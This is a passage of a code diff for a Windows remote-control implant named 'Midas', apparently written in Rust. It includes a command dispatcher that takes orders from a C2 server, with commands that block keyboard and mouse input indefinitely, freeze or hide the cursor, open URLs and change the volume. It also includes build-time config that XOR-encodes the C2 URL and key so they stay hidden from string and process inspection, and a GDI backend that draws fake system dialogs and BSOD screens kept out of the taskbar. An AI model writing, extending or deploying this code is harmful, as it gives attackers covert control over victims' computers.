Err(e) => format!("could not open spook: {e}"),
}
}
"playsound" => {
let path = arg_str(&args, 0);
let looping = arg_bool(&args, 1);
let shown = path.clone();
gui::detach(move || {
// The failure is only visible in the implant's own log: the ack
// was already sent, and the alternative is blocking the
// check-in loop on an audio device that may not exist.
if let Err(e) = jobs::play_sound(&path, looping) {
crate::log::log_lazy(|| format!("playsound failed: {e}"));
}
});
format!(
"playing {shown} ({})",
if looping { "looping" } else { "once" }
)
}
"volume" => {
let action = match one_of(
&arg_str(&args, 0),
&["mute", "unmute", "max", "min", "set"],
) {
Ok(value) => value,
Err(e) => return e,
};
let level = arg_int(&args, 1);
let result = gui::win::set_volume(&action, level.clamp(0, 100) as u32);
match result {
Ok(()) => format!("volume {action}"),
Err(e) => format!("could not change volume: {e}"),
}
}
// --- desktop -------------------------------------------------------
"cursor" => {
let action = match one_of(
&arg_str(&args, 0),
&["hide", "show", "freeze", "corner", "shake"],
) {
Ok(value) => value,
Err(e) => return e,
};
let seconds = arg_int(&args, 1);
if !(1..=60).contains(&seconds) {
return "seconds must be between 1 and 60".to_string();
}
cursor_task(&action, seconds as u64)
}
"desktopnote" => {
let text = arg_str(&args, 0);
let x = arg_int(&args, 1);
let y = arg_int(&args, 2);
let size = arg_int(&args, 3).clamp(8, 200);
let duration = Some(std::time::Duration::from_secs(120));
match gui::open_note(&text, x, y, size, duration) {
Ok(id) => overlay_ack(id, "desktopnote", &text, duration),
Err(e) => format!("could not open desktopnote: {e}"),
}
}
"fontsize" => {
let percent = arg_int(&args, 0);
if !(50..=300).contains(&percent) {
return "percent must be between 50 and 300".to_string();
}
let result = gui::win::set_font_scale(percent as u32);
match result {
Ok(()) => format!("UI scale set to {percent}%"),
Err(e) => format!("could not change UI scale: {e}"),
}
}
"minimizeall" => {
let state = match one_of(&arg_str(&args, 0), &["minimize", "restore", "toggle"]) {
Ok(value) => value,
Err(e) => return e,
};
let result = gui::win::set_minimized(&state);
match result {
Ok(()) => format!("windows {state}"),
Err(e) => format!("could not change windows: {e}"),
}
}
"openurl" => {
let url = arg_str(&args, 0);
let background = arg_bool(&args, 1);
match jobs::open_url(&url, background) {
Ok(()) => format!("opened {url}"),
Err(e) => format!("could not open URL: {e}"),
}
}
"lockinput" => {
// Anything zero is a hold until `stopall`; a positive number is a
// timeout. The ceiling is gone - the operator decides how long -
// but the release is always reachable, which is the safety property
// that matters: `stopall` cancels the hold from the check-in thread
// no matter how long it was asked for.
let requested = arg_int(&args, 0);
if requested < 0 {
return "seconds must be 0 (until stopall) or a positive number".to_string();
}
// `BlockInput` needs SE_DEBUG access, so an implant that is not
// elevated is refused. The refusal is checked on the worker thread
// and the ack below is still immediate, which is the point - a
// non-elevated implant reports the failure in its own log rather
// than stalling the check-in loop waiting to find out.
let _ = gui::lock_input(requested as u64);
if requested == 0 {
"input blocked until stopall".to_string()
} else {
format!("input blocked for {requested}s")
}
}
// --- shared --------------------------------------------------------
"getsleep" => {
let (s, j) = sleep::get();
format!("sleep: {s}s, jitter: {j}s")
}
"setsleep" => {
let s = arg_int(&args, 0);
let j = arg_int(&args, 1);
if s <= 0 || j < 0 {
return "sleep must be positive and jitter cannot be negative".to_string();
}
match sleep::set(s as u64, j as u64) {
Ok(()) => format!("sleep set to {s}s with {j}s jitter"),
Err(e) => e,
}
}
other => format!("unknown command `{other}`"),
}
}
fn overlay_ack(
id: u64,
label: &str,
detail: &str,
duration: Option<std::time::Duration>,
) -> String {
let shown = if detail.is_empty() {
String::new()
} else {
format!(" ({detail})")
};
let lifetime = match duration {
Some(d) => format!(" for {}s", d.as_secs()),
None => " until stopall".to_string(),
};
format!("{label} opened{shown} as overlay {id}{lifetime}")
}
/// Pointer manipulation, shared by the `cursor` and `shakescreen target=mouse`
/// paths.
///
/// The check-in thread is not blocked either way, since `SetCursorPos` and
/// `ClipCursor` return immediately; the caller moves the pointer back on a
/// timer so the effect outlives the call.
fn cursor_task(action: &str, seconds: u64) -> String {
let owned = action.to_string();
let worker = owned.clone();
gui::detach(move || {
crate::gui::win::cursor(&worker, seconds);
});
format!("cursor {owned} for {seconds}s")
}

View File

@ -0,0 +1,89 @@
//! Build-time configuration.
//!
//! Tombili hardcodes these in `src/config.nim` and requires a source edit per
//! target. Midas reads them from the environment at *compile* time instead, so
//! the same checkout builds for any server:
//!
//! ```bash
//! MIDAS_SERVER=https://c2.example.com/ MIDAS_KEY=... cargo build --release
//! ```
//!
//! `option_env!` bakes the value into the binary. Reading these at runtime via
//! `env::var` would leave the C2 URL visible in /proc/<pid>/environ. The baked
//! values are XOR-encoded like every other string constant, so they do not show
//! up in `strings` output either - see `obf_env` below.
use crate::obf;
use crate::obf::MAX_LEN;
/// Identifies this implant to the server. Part of the agent's identity tuple
/// together with the reported IP, so it must differ from `tombili` or the two
/// implants collide on one host.
pub const IMPLANT_ID: &str = "midas";
/// Reported to the server as `registration.os`.
pub const OS: &str = std::env::consts::OS;
/// Compile-time encoding of an optional build-time value.
///
/// The pair is `(length, bytes)`; a length of zero means the variable was unset
/// or empty, and the caller falls back to its `obf!` default.
///
/// Encoding in a `const` matters here. Writing the `option_env!` value straight
/// into a `String` at runtime would compile to exactly that string in the
/// binary, and `MIDAS_KEY` is the one value in the whole implant that is worth
/// hiding. The encoded form is a fixed 256-byte array, so the plaintext is
/// never emitted.
const fn obf_env(value: Option<&'static str>) -> (usize, [u8; MAX_LEN]) {
match value {
Some(text) => obf::encode_static(text),
None => (0, [0u8; MAX_LEN]),
}
}
const SERVER: (usize, [u8; MAX_LEN]) = obf_env(option_env!("MIDAS_SERVER"));
const KEY: (usize, [u8; MAX_LEN]) = obf_env(option_env!("MIDAS_KEY"));
pub fn server_url() -> String {
if SERVER.0 == 0 {
obf!("http://127.0.0.1:3000/")
} else {
obf::decode(&SERVER.1, SERVER.0, obf::SEED)
}
}
/// Must match a row in the server's `keys` table. See the note in
/// comm.rs::xor about the server only trying the first key.
pub fn xor_key() -> String {
if KEY.0 == 0 {
obf!("asdf")
} else {
obf::decode(&KEY.1, KEY.0, obf::SEED)
}
}
pub fn reg_fail_limit() -> u32 {
parse_u32("MIDAS_REG_FAIL_LIMIT", 10)
}
pub fn checkin_sleep() -> u64 {
parse_u64("MIDAS_CHECKIN_SLEEP", 10)
}
pub fn checkin_jitter() -> u64 {
parse_u64("MIDAS_CHECKIN_JITTER", 5)
}
fn parse_u64(name: &str, default: u64) -> u64 {
std::env::var(name)
.ok()
.and_then(|value| value.parse().ok())
.unwrap_or(default)
}
fn parse_u32(name: &str, default: u32) -> u32 {
std::env::var(name)
.ok()
.and_then(|value| value.parse().ok())
.unwrap_or(default)
}

View File

@ -0,0 +1,279 @@
//! The Win32 entry points the GDI overlay backend needs.
//!
//! Declared by hand for the same reasons as `gui/win.rs`: a short dependency
//! list, a small binary, and identical linking under the MSVC and GNU targets.
//! Only windowing and GDI are here — none of this touches OpenGL, which is the
//! entire point of the module.
//!
//! The overlay is composited by the window manager rather than by us. A
//! `WS_EX_LAYERED` window is handed a premultiplied 32-bit bitmap through
//! `UpdateLayeredWindow` and the desktop mixes it in, so the same code path
//! serves the opaque overlays (`fakebsod`, `fakeupdate`, fullscreen images) and
//! the translucent ones (`faketoast`, `desktopnote`, a centred image) without a
//! special case. It also means the window never needs a paint message, so a
//! frame is: rasterise into a DIB, call `UpdateLayeredWindow`, done.
// The Win32 spellings are kept verbatim so each declaration can be read against
// the SDK header by name.
#![allow(non_snake_case, non_camel_case_types, clippy::upper_case_acronyms)]
use std::ffi::c_void;
pub type HWND = *mut c_void;
pub type HDC = *mut c_void;
pub type HGDIOBJ = *mut c_void;
pub type HBITMAP = *mut c_void;
pub type HBRUSH = *mut c_void;
pub type HICON = *mut c_void;
pub type HCURSOR = *mut c_void;
pub type HINSTANCE = *mut c_void;
pub type UINT = u32;
pub type DWORD = u32;
pub type WPARAM = usize;
pub type LPARAM = isize;
pub type LRESULT = isize;
pub type BOOL = i32;
pub type COLORREF = u32;
pub type WNDPROC = unsafe extern "system" fn(HWND, UINT, WPARAM, LPARAM) -> LRESULT;
// --- Window styles ----------------------------------------------------------
pub const WS_POPUP: DWORD = 0x8000_0000;
pub const WS_EX_LAYERED: DWORD = 0x0008_0000;
pub const WS_EX_TOPMOST: DWORD = 0x0000_0008;
/// Keeps the overlay out of the taskbar and the Alt+Tab list, which a prank
/// window has no business appearing in.
pub const WS_EX_TOOLWINDOW: DWORD = 0x0000_0080;
/// The overlay never takes focus, so the target keeps typing and the keystrokes
/// do not land in a dialog that is not really a dialog.
pub const WS_EX_NOACTIVATE: DWORD = 0x0800_0000;
// --- Window classes ---------------------------------------------------------
pub const CS_HREDRAW: u32 = 0x0002;
pub const CS_VREDRAW: u32 = 0x0001;
// --- Messages ---------------------------------------------------------------
pub const WM_DESTROY: UINT = 0x0002;
pub const WM_PAINT: UINT = 0x000F;
pub const WM_TIMER: UINT = 0x0113;
/// `IDC_ARROW` is a `MAKEINTRESOURCE` id, so it is the bare number.
pub const IDC_ARROW: usize = 32512;
/// `SW_SHOWNOACTIVATE`. The overlays are `WS_EX_NOACTIVATE` and this keeps them
/// that way, so a prank never takes focus off whatever the target is doing.
pub const SW_SHOWNOACTIVATE: i32 = 4;
// --- GDI --------------------------------------------------------------------
/// `DIB_RGB_COLORS`, passed as the `usage` argument.
pub const DIB_RGB_COLORS: u32 = 0;
pub const BI_RGB: u32 = 0;
pub const TRANSPARENT: i32 = 1;
/// GDI clips text to the update region by default; a fake dialog has no reason
/// to look like it is being redrawn in slices.
pub const CLIP_DEFAULT: DWORD = 0x0000_0000;
// --- UpdateLayeredWindow ----------------------------------------------------
pub const ULW_ALPHA: DWORD = 0x0000_0002;
pub const AC_SRC_OVER: u8 = 0x00;
pub const AC_SRC_ALPHA: u8 = 0x01;
#[repr(C)]
pub struct POINT {
pub x: i32,
pub y: i32,
}
#[repr(C)]
pub struct SIZE {
pub cx: i32,
pub cy: i32,
}
#[repr(C)]
pub struct RECT {
pub left: i32,
pub top: i32,
pub right: i32,
pub bottom: i32,
}
#[repr(C)]
pub struct MSG {
pub hwnd: HWND,
pub message: UINT,
pub wparam: WPARAM,
pub lparam: LPARAM,
pub time: DWORD,
pub pt: POINT,
}
#[repr(C)]
pub struct WNDCLASSEXW {
pub cbSize: UINT,
pub style: UINT,
pub lpfnWndProc: WNDPROC,
pub cbClsExtra: i32,
pub cbWndExtra: i32,
pub hInstance: HINSTANCE,
pub hIcon: HICON,
pub hCursor: HCURSOR,
pub hbrBackground: HBRUSH,
pub lpszMenuName: *const u16,
pub lpszClassName: *const u16,
pub hIconSm: HICON,
}
#[repr(C)]
pub struct BITMAPINFOHEADER {
pub biSize: UINT,
pub biWidth: i32,
/// Negative for a top-down DIB, which is what is wanted here: the buffer is
/// then laid out in reading order, so row 0 is the top of the image and no
/// flipping is needed anywhere.
pub biHeight: i32,
pub biPlanes: u16,
pub biBitCount: u16,
pub biCompression: DWORD,
pub biSizeImage: DWORD,
pub biXPelsPerMeter: i32,
pub biYPelsPerMeter: i32,
pub biClrUsed: DWORD,
pub biClrImportant: DWORD,
}
/// `CreateDIBSection` wants a `BITMAPINFO`; with no colour table or masks used
/// the three-DWORD tail is still part of the struct.
#[repr(C)]
pub struct BITMAPINFO {
pub bmiHeader: BITMAPINFOHEADER,
pub bmiColors: [COLORREF; 3],
}
#[repr(C)]
pub struct BLENDFUNCTION {
pub BlendOp: u8,
pub BlendFlags: u8,
pub SourceConstantAlpha: u8,
pub AlphaFormat: u8,
}
#[repr(C)]
pub struct PAINTSTRUCT {
pub hdc: HDC,
pub fErase: BOOL,
pub rcPaint: RECT,
pub fRestore: BOOL,
pub fIncUpdate: BOOL,
pub rgbReserved: [u8; 32],
}
#[link(name = "user32")]
extern "system" {
pub fn RegisterClassExW(class: *const WNDCLASSEXW) -> u16;
pub fn UnregisterClassW(class: *const u16, instance: HINSTANCE) -> BOOL;
pub fn CreateWindowExW(
ex_style: DWORD,
class: *const u16,
title: *const u16,
style: DWORD,
x: i32,
y: i32,
width: i32,
height: i32,
parent: HWND,
menu: HGDIOBJ,
instance: HINSTANCE,
param: *mut c_void,
) -> HWND;
pub fn DestroyWindow(hwnd: HWND) -> BOOL;
pub fn DefWindowProcW(hwnd: HWND, message: UINT, wparam: WPARAM, lparam: LPARAM) -> LRESULT;
pub fn GetMessageW(message: *mut MSG, hwnd: HWND, min: u32, max: u32) -> BOOL;
pub fn TranslateMessage(message: *const MSG) -> BOOL;
pub fn DispatchMessageW(message: *const MSG) -> LRESULT;
pub fn PostQuitMessage(exit_code: i32);
pub fn SetTimer(hwnd: HWND, id: usize, interval: u32, callback: *mut c_void) -> usize;
pub fn KillTimer(hwnd: HWND, id: usize) -> BOOL;
pub fn BeginPaint(hwnd: HWND, paint: *mut PAINTSTRUCT) -> HDC;
pub fn EndPaint(hwnd: HWND, paint: *mut PAINTSTRUCT) -> BOOL;
pub fn GetDC(hwnd: HWND) -> HDC;
pub fn ReleaseDC(hwnd: HWND, dc: HDC) -> i32;
pub fn LoadCursorW(instance: HINSTANCE, name: *const u16) -> HCURSOR;
pub fn ShowWindow(hwnd: HWND, command: i32) -> BOOL;
pub fn UpdateLayeredWindow(
hwnd: HWND,
screen_dc: HDC,
destination: *const POINT,
size: *const SIZE,
source_dc: HDC,
source: *const POINT,
key: COLORREF,
blend: *const BLENDFUNCTION,
flags: DWORD,
) -> BOOL;
pub fn SetProcessDPIAware() -> BOOL;
}
#[link(name = "gdi32")]
extern "system" {
pub fn CreateCompatibleDC(dc: HDC) -> HDC;
pub fn DeleteDC(dc: HDC) -> BOOL;
pub fn SelectObject(dc: HDC, object: HGDIOBJ) -> HGDIOBJ;
pub fn DeleteObject(object: HGDIOBJ) -> BOOL;
pub fn CreateDIBSection(
dc: HDC,
info: *const BITMAPINFO,
usage: UINT,
bits: *mut *mut c_void,
section: HANDLE_SECTION,
offset: DWORD,
) -> HBITMAP;
pub fn CreateFontW(
height: i32,
width: i32,
escapement: i32,
orientation: i32,
weight: i32,
italic: u32,
underline: u32,
strike_out: u32,
charset: u32,
output: u32,
clip: u32,
quality: u32,
pitch_and_family: u32,
face: *const u16,
) -> HGDIOBJ;
pub fn GetTextExtentPoint32W(dc: HDC, text: *const u16, count: i32, size: *mut SIZE) -> BOOL;
pub fn SetTextColor(dc: HDC, colour: COLORREF) -> COLORREF;
pub fn SetBkMode(dc: HDC, mode: i32) -> i32;
pub fn TextOutW(dc: HDC, x: i32, y: i32, text: *const u16, count: i32) -> BOOL;
pub fn GetStockObject(index: i32) -> HGDIOBJ;
}
#[link(name = "kernel32")]
extern "system" {
pub fn GetModuleHandleW(module: *const u16) -> HINSTANCE;
}
/// A file-mapping handle. Only ever passed as null to `CreateDIBSection`, but
/// it has its own type in the SDK rather than reusing `HANDLE`.
pub type HANDLE_SECTION = *mut c_void;
/// Arguments for `CreateFontW`.
///
/// A TrueType face is requested so the fake system dialogs get the same smoothed
/// Segoe UI the real ones use, rather than a bitmap-struck face.
///
/// `ANTIALIASED_QUALITY` rather than `CLEARTYPE_QUALITY`, deliberately.
pub const DEFAULT_CHARSET: u32 = 1;
pub const OUT_TT_PRECIS: u32 = 4;
pub const FF_DONTCARE: u32 = 0;
pub const ANTIALIASED_QUALITY: u32 = 4;
pub const FW_NORMAL: i32 = 400;
pub const FW_BOLD: i32 = 700;
pub const DEFAULT_PITCH: u32 = 0;
/// `DEFAULT_GUI_FONT` stock object, restored into a memory DC before a face that
/// is still selected into it is deleted.
pub const DEFAULT_GUI_FONT: i32 = 17;

View File

@ -0,0 +1,374 @@
//! A software rasteriser over a 32-bit DIB section.
//!
//! This is what stands in for egui's `Painter`. The target is the DIB's own
//! memory rather than a copy of it, so a fill is a write through a pointer and
//! presenting a frame costs nothing beyond the `UpdateLayeredWindow` call.
//!
//! Everything except text is drawn by hand. The overlays are solid fills, a
//! progress bar, an optional bitmap and a lot of small procedural noise, for
//! which GDI's own drawing calls are a poor fit — and more to the point, GDI
//! cannot write a meaningful alpha channel into a 32-bit DIB, which is the whole
//! reason this backend exists. Text is the exception; see `text.rs`.
use std::ffi::c_void;
use super::api::*;
/// A straight (non-premultiplied) 8-bit RGBA colour.
#[derive(Clone, Copy, Debug)]
pub struct Rgba {
pub r: u8,
pub g: u8,
pub b: u8,
pub a: u8,
}
impl Rgba {
pub const fn rgb(r: u8, g: u8, b: u8) -> Self {
Rgba { r, g, b, a: 255 }
}
pub const fn with_alpha(r: u8, g: u8, b: u8, a: u8) -> Self {
Rgba { r, g, b, a }
}
}
/// A rectangle in pixels, top-left origin, positive extent.
#[derive(Clone, Copy, Debug)]
pub struct Rect {
pub x: i32,
pub y: i32,
pub w: i32,
pub h: i32,
}
impl Rect {
pub fn new(x: i32, y: i32, w: i32, h: i32) -> Self {
Rect { x, y, w, h }
}
pub fn right(&self) -> i32 {
self.x + self.w
}
pub fn bottom(&self) -> i32 {
self.y + self.h
}
}
/// How a source bitmap is mapped onto a destination rectangle.
#[derive(Clone, Copy, PartialEq, Eq)]
pub enum Fit {
/// Fill the destination and crop the overflow. What a fullscreen scare wants.
Cover,
/// Draw at one source pixel per destination pixel. What a glyph mask wants.
Exact,
}
/// The drawing target: a DIB section, its memory DC, and a pointer to its bits.
pub struct Canvas {
dc: HDC,
bitmap: HBITMAP,
previous: HGDIOBJ,
pub width: i32,
pub height: i32,
/// The DIB's own pixels, BGRA and top-down. Valid for as long as the bitmap
/// is selected into `dc` and has not been deleted, which it is not until
/// `release`.
bits: *mut u8,
}
impl Canvas {
/// Allocates a canvas of the given size, or `None` if GDI refuses.
pub fn new(width: i32, height: i32) -> Option<Canvas> {
let width = width.max(1);
let height = height.max(1);
// A null `GetDC` yields the screen DC, which is the one `UpdateLayeredWindow`
// wants as its destination and the only one available before a window exists.
let screen = unsafe { GetDC(std::ptr::null_mut()) };
if screen.is_null() {
return None;
}
let dc = unsafe { CreateCompatibleDC(screen) };
unsafe { ReleaseDC(std::ptr::null_mut(), screen) };
if dc.is_null() {
return None;
}
let info = BITMAPINFO {
bmiHeader: BITMAPINFOHEADER {
biSize: std::mem::size_of::<BITMAPINFOHEADER>() as UINT,
biWidth: width,
// Negative height requests a top-down DIB, so row 0 is the top
// of the image and no vertical flip is needed anywhere.
biHeight: -height,
biPlanes: 1,
biBitCount: 32,
biCompression: BI_RGB,
biSizeImage: 0,
biXPelsPerMeter: 0,
biYPelsPerMeter: 0,
biClrUsed: 0,
biClrImportant: 0,
},
bmiColors: [0; 3],
};
let mut bits: *mut c_void = std::ptr::null_mut();
let bitmap = unsafe {
CreateDIBSection(
dc,
&info,
DIB_RGB_COLORS as UINT,
&mut bits,
std::ptr::null_mut(),
0,
)
};
if bitmap.is_null() || bits.is_null() {
unsafe { DeleteDC(dc) };
return None;
}
let previous = unsafe { SelectObject(dc, bitmap) };
Some(Canvas {
dc,
bitmap,
previous,
width,
height,
bits: bits as *mut u8,
})
}
/// Releases the GDI objects.
///
/// Each overlay window owns a canvas for its lifetime and a `HBITMAP` is a
/// process-lifetime resource, so dropping the handle without this would leak
/// one per overlay.
pub fn release(&mut self) {
unsafe {
if !self.previous.is_null() {
SelectObject(self.dc, self.previous);
self.previous = std::ptr::null_mut();
}
if !self.bitmap.is_null() {
DeleteObject(self.bitmap);
self.bitmap = std::ptr::null_mut();
}
if !self.dc.is_null() {
DeleteDC(self.dc);
self.dc = std::ptr::null_mut();
}
}
}
pub fn dc(&self) -> HDC {
self.dc
}
/// The raw BGRA bytes, for the text path to read back out of GDI.
pub fn pixels(&self) -> &[u8] {
unsafe { std::slice::from_raw_parts(self.bits, self.byte_len()) }
}
fn byte_len(&self) -> usize {
(self.width.max(0) * self.height.max(0) * 4) as usize
}
/// Zeroes the surface, making the whole thing transparent.
///
/// Written rather than blended: a `spook` overlay repaints twenty times a
/// second and this skips the per-pixel blend entirely.
pub fn wipe(&mut self) {
if !self.bits.is_null() {
unsafe { std::ptr::write_bytes(self.bits, 0, self.byte_len()) };
}
}
/// Alpha-blends `colour` over a rectangle, clipped to the canvas.
pub fn fill_rect(&mut self, rect: Rect, colour: Rgba) {
if colour.a == 0 || self.bits.is_null() {
return;
}
let x0 = rect.x.max(0);
let y0 = rect.y.max(0);
let x1 = rect.right().min(self.width);
let y1 = rect.bottom().min(self.height);
if x1 <= x0 || y1 <= y0 {
return;
}
let (sr, sg, sb, sa) = premultiplied(colour);
// What the destination keeps, since the source claims `sa` of the mix.
let inv = 255 - sa;
for y in y0..y1 {
let row = (y * self.width) as usize * 4;
for x in x0..x1 {
let at = row + (x as usize) * 4;
unsafe {
let dst = self.bits.add(at);
let dr = *dst as u32;
let dg = *dst.add(1) as u32;
let db = *dst.add(2) as u32;
let da = *dst.add(3) as u32;
*dst = (sr + dr * inv / 255).min(255) as u8;
*dst.add(1) = (sg + dg * inv / 255).min(255) as u8;
*dst.add(2) = (sb + db * inv / 255).min(255) as u8;
*dst.add(3) = (sa + da * inv / 255).min(255) as u8;
}
}
}
}
pub fn fill(&mut self, colour: Rgba) {
self.fill_rect(Rect::new(0, 0, self.width, self.height), colour);
}
/// Draws a straight-RGBA bitmap into `dst`, alpha-blended and scaled to fit.
///
/// Nearest-neighbour rather than bilinear. These are prank assets, a jump
/// scare should look harsh, and a bilinear fetch per destination pixel buys
/// nothing visible at these sizes.
pub fn blit(
&mut self,
source: &[u8],
source_w: i32,
source_h: i32,
dst: Rect,
fit: Fit,
opacity: f32,
) {
if source_w <= 0 || source_h <= 0 || dst.w <= 0 || dst.h <= 0 || self.bits.is_null() {
return;
}
let opacity = opacity.clamp(0.0, 1.0);
if opacity <= 0.0 {
return;
}
let (scale, offset_x, offset_y) = match fit {
Fit::Exact => (1.0, dst.x as f32, dst.y as f32),
Fit::Cover => {
let scale = (dst.w as f32 / source_w as f32).max(dst.h as f32 / source_h as f32);
(
scale,
dst.x as f32 + (dst.w as f32 - source_w as f32 * scale) / 2.0,
dst.y as f32 + (dst.h as f32 - source_h as f32 * scale) / 2.0,
)
}
};
let x0 = dst.x.max(0);
let y0 = dst.y.max(0);
let x1 = dst.right().min(self.width);
let y1 = dst.bottom().min(self.height);
if x1 <= x0 || y1 <= y0 {
return;
}
for y in y0..y1 {
let sy = (((y as f32 - offset_y) / scale) as i32).clamp(0, source_h - 1);
let row = (sy as usize) * (source_w as usize) * 4;
for x in x0..x1 {
let sx = (((x as f32 - offset_x) / scale) as i32).clamp(0, source_w - 1);
let index = row + (sx as usize) * 4;
// Straight alpha, so the source is premultiplied here and then
// scaled by the overlay opacity in the same step.
let alpha = ((source[index + 3] as f32 * opacity).round()).clamp(0.0, 255.0) as u32;
if alpha == 0 {
continue;
}
let premultiply = |straight: u8| -> u32 { straight as u32 * alpha / 255 };
let (sr, sg, sb) = (
premultiply(source[index]),
premultiply(source[index + 1]),
premultiply(source[index + 2]),
);
let inv = 255 - alpha;
let at = (y as usize) * (self.width as usize) * 4 + (x as usize) * 4;
unsafe {
let dst_ptr = self.bits.add(at);
let dr = *dst_ptr as u32;
let dg = *dst_ptr.add(1) as u32;
let db = *dst_ptr.add(2) as u32;
let da = *dst_ptr.add(3) as u32;
*dst_ptr = (sr + dr * inv / 255).min(255) as u8;
*dst_ptr.add(1) = (sg + dg * inv / 255).min(255) as u8;
*dst_ptr.add(2) = (sb + db * inv / 255).min(255) as u8;
*dst_ptr.add(3) = (alpha + da * inv / 255).min(255) as u8;
}
}
}
}
/// Hands the frame to the window manager for compositing.
pub fn present(&self, hwnd: HWND, origin: (i32, i32)) {
if self.dc.is_null() {
return;
}
let screen = unsafe { GetDC(std::ptr::null_mut()) };
if screen.is_null() {
return;
}
let destination = POINT {
x: origin.0,
y: origin.1,
};
let size = SIZE {
cx: self.width,
cy: self.height,
};
let source = POINT { x: 0, y: 0 };
let blend = BLENDFUNCTION {
BlendOp: AC_SRC_OVER,
BlendFlags: 0,
SourceConstantAlpha: 255,
AlphaFormat: AC_SRC_ALPHA,
};
unsafe {
UpdateLayeredWindow(
hwnd,
screen,
&destination,
&size,
self.dc,
&source,
0,
&blend,
ULW_ALPHA,
);
}
unsafe { ReleaseDC(std::ptr::null_mut(), screen) };
}
}
/// Splits a straight colour into premultiplied components.
fn premultiplied(colour: Rgba) -> (u32, u32, u32, u32) {
let a = colour.a as u32;
(
colour.r as u32 * a / 255,
colour.g as u32 * a / 255,
colour.b as u32 * a / 255,
a,
)
}

View File

@ -0,0 +1,471 @@
//! The GDI overlay backend.
//!
//! This exists because the eframe backend cannot run everywhere. eframe needs a
//! working OpenGL 3.2 implementation, and a target without one - a bare VM with
//! 3D acceleration off, most obviously an RDP session - makes it fail during
//! context creation, before the first frame, with a panic from inside glutin
//! rather than an error anyone can read. On such a host every visual command
//! would be dead, and so would most of the implant's point.
//!
//! Nothing here touches OpenGL. Each overlay is an ordinary top-level Win32
//! window on its own thread with its own message loop, rasterised into a DIB and
//! handed to the window manager for compositing. That is a different shape from
//! the eframe backend - which needs a single shared event loop because winit
//! allows only one per process - and it is the shape that works with no graphics
//! driver at all.
//!
//! The trade is real and worth stating: this backend is a transcription, not a
//! port. It draws the same layouts in the same colours with the system font, but
//! it has no rounded corners, no subpixel layout and no GPU. On a machine where
//! eframe does work, eframe is still preferred; see `gui::sender`.
mod api;
mod canvas;
mod paint;
mod text;
use std::cell::RefCell;
use std::mem::MaybeUninit;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::mpsc::Receiver;
use std::sync::Arc;
use std::time::{Instant, SystemTime};
use api::*;
use canvas::Canvas;
use paint::Content;
use text::TextRenderer;
use crate::gui::{
current_stop_epoch, record_host_failure, register_active, unregister_active, Active, Overlay,
Request,
};
/// The window class every overlay window is registered under.
const CLASS_NAME: &str = "midas-overlay";
/// How often a still overlay redraws.
///
/// Nothing else repaints a topmost window, so this is only about recovering if
/// something is drawn over it while the overlay sits at normal level - and about
/// honouring a `stopall` promptly. Once a second is ample.
const STILL_FRAME_MS: u32 = 500;
/// Fallback desktop size if the shell has not reported a usable screen.
const FALLBACK_SCREEN: (i32, i32) = (1920, 1080);
thread_local! {
/// What the window procedure needs in order to decide a timer tick means
/// "time to go".
///
/// Thread-local rather than `SetWindowLongPtr`, because each window thread
/// owns exactly one window and dispatches its own messages: the association
/// is guaranteed by construction rather than maintained by hand. The
/// procedure is deliberately kept free of drawing, so this never has to
/// borrow the canvas and cannot deadlock against the loop body.
static LIFETIME: RefCell<Option<Lifetime>> = const { RefCell::new(None) };
}
struct Lifetime {
cancel: Arc<AtomicBool>,
deadline: Option<Instant>,
}
impl Lifetime {
fn expired(&self) -> bool {
self.cancel.load(Ordering::SeqCst)
|| self.deadline.is_some_and(|deadline| Instant::now() >= deadline)
}
}
// ---------------------------------------------------------------------------
// Dispatcher
// ---------------------------------------------------------------------------
/// The host thread. Blocks on the request channel for the life of the process.
pub(crate) fn run(rx: Receiver<Request>) {
// Without this, a 1920x1080 window on a 150% display is virtualised to
// 1280x720 and covers three quarters of the screen. Set once per process; if
// the eframe backend already got here first this fails harmlessly.
unsafe { SetProcessDPIAware() };
let class: Vec<u16> = wide(CLASS_NAME);
let registered = unsafe { RegisterClassExW(&window_class(&class)) };
if registered == 0 {
record_host_failure("the overlay window class could not be registered".to_string());
return;
}
while let Ok(request) = rx.recv() {
// A stop that landed between submission and this drain wins. See the
// STOP_EPOCH note in gui/mod.rs.
if request.epoch < current_stop_epoch() {
continue;
}
let class = class.clone();
// Detached: each window winds itself down through its own deadline and
// cancel token, and nothing on the check-in thread waits for it.
let _ = std::thread::Builder::new()
.name(format!("midas-ovl-{}", request.id))
.spawn(move || serve(request, class));
}
unsafe { UnregisterClassW(class.as_ptr(), std::ptr::null_mut()) };
}
// ---------------------------------------------------------------------------
// One overlay
// ---------------------------------------------------------------------------
/// Creates and runs a single overlay window.
///
/// The registry entry is cleared here rather than at the end of the window's
/// life, so that a bug in the rasteriser cannot leave `listoverlays` reporting
/// an overlay with no window behind it. The eframe backend has to clear its
/// ghosts explicitly for the same reason, and this is where the equivalent
/// guarantee lives on the GDI side.
fn serve(request: Request, class: Vec<u16>) {
let id = request.id;
let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
serve_window(request, class)
}));
unregister_active(id);
}
fn serve_window(request: Request, class: Vec<u16>) {
// Every fallible step bails through here so the registry is never left
// holding an overlay that has no window behind it.
let fail = |reason: String| {
crate::log::log(&format!("overlay {} failed: {reason}", request.id));
unregister_active(request.id);
};
let Some(mut text) = TextRenderer::new() else {
fail("GDI would not allocate a drawing surface".to_string());
return;
};
let content = match prepare(&request) {
Ok(content) => content,
Err(e) => {
// Paths are checked before the ack is sent, so reaching here means the
// file became unreadable, or stopped being a decodable image, in
// between.
fail(e);
return;
}
};
let screen = crate::gui::win::screen_size()
.map(|(w, h)| (w as i32, h as i32))
.unwrap_or(FALLBACK_SCREEN);
let geometry = content.geometry(screen, &mut text);
let mut ex_style = api::WS_EX_LAYERED | api::WS_EX_TOOLWINDOW | api::WS_EX_NOACTIVATE;
if geometry.topmost {
ex_style |= api::WS_EX_TOPMOST;
}
let hwnd = unsafe {
CreateWindowExW(
ex_style,
class.as_ptr(),
std::ptr::null(),
api::WS_POPUP,
geometry.x,
geometry.y,
geometry.width.max(1),
geometry.height.max(1),
std::ptr::null_mut(),
std::ptr::null_mut(),
module_handle(),
std::ptr::null_mut(),
)
};
if hwnd.is_null() {
fail("the overlay window could not be created".to_string());
return;
}
let Some(canvas) = Canvas::new(geometry.width, geometry.height) else {
unsafe { DestroyWindow(hwnd) };
fail("GDI would not allocate a drawing surface".to_string());
return;
};
let deadline = request.duration.map(|d| Instant::now() + d);
LIFETIME.with(|cell| {
*cell.borrow_mut() = Some(Lifetime {
cancel: request.cancel.clone(),
deadline,
})
});
